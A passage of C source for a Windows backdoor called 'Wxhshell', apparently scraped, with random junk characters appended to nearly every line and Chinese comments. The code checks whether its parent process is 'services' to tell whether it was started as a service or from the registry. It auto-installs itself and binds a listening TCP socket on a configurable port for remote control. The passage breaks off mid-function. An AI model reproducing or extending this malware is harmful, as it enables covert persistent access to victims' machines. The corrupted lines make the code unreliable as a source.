ULONG InheritedFromUniqueProcessId; $49tV?q5
} PROCESS_BASIC_INFORMATION; \O~7X0 <W
VuW19-G
PROCNTQSIP NtQueryInformationProcess; `( Gk_VAa
'P#I<?vB
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; is$d<Y&F
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E?uv&evPK7
D=Y HJ>-wB
HANDLE hProcess; DJ^JUVi
PROCESS_BASIC_INFORMATION pbi; )Be;Zw.|
I<U 1V<g
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tw5BvB1
if(NULL == hInst ) return 0; }s[/b"%y
]\U'_G2]
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \Wk$>?+#@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [geY:v_B
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /2@@v|QL
edQ><lz
if (!NtQueryInformationProcess) return 0;
jG#sVK]
iVcBD0 q)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ->(B:Cz
if(!hProcess) return 0; _G|6xlO
XQA2uR4h
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6BnjT
'4rgIs3=x"
CloseHandle(hProcess); .^23qCs
AdNsY/ Y(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
B|&<
if(hProcess==NULL) return 0; pif gt
D[mYrWHpn
HMODULE hMod; jI%yi-<;
char procName[255]; gNeCnf#Xa
unsigned long cbNeeded; rgCId@R
P$bo8*
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EbQ} w"{
*bx cq
CloseHandle(hProcess); ?0x;L/d])
]{hfM
if(strstr(procName,"services")) return 1; // 以服务启动 ]nh)FMo
va0
a4s1O
return 0; // 注册表启动 y~fy0P:T
} __M}50^
w'!gLta
// 主模块 [g? NU]
int StartWxhshell(LPSTR lpCmdLine) ~U|te _l
{ @WmB0cc_
SOCKET wsl; JpDkf$kM
BOOL val=TRUE; ! [X<>
int port=0; X {$gdz8S9
struct sockaddr_in door; 1X5\VY>S`h
;k0*@c*
if(wscfg.ws_autoins) Install(); ?=l(29tH
So:89T
port=atoi(lpCmdLine); !v-(O"a
#?9oA4Q
if(port<=0) port=wscfg.ws_port; Jj!T7f*-GX
'&Ku Ba
WSADATA data; (:1j-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Vk"QcW
VYBl0!t
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; cmTZ))m
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); epnDvz\
door.sin_family = AF_INET; O
tr@jgw
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]q j%6tz
door.sin_port = htons(port); L2$%h1
E=y#~W
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M@8(h=
closesocket(wsl); }Y[.h=X
return 1; 6=
} Q|>y2g!
D"MNlm
if(listen(wsl,2) == INVALID_SOCKET) { VioVtP0
closesocket(wsl); KH;e)91
return 1; &z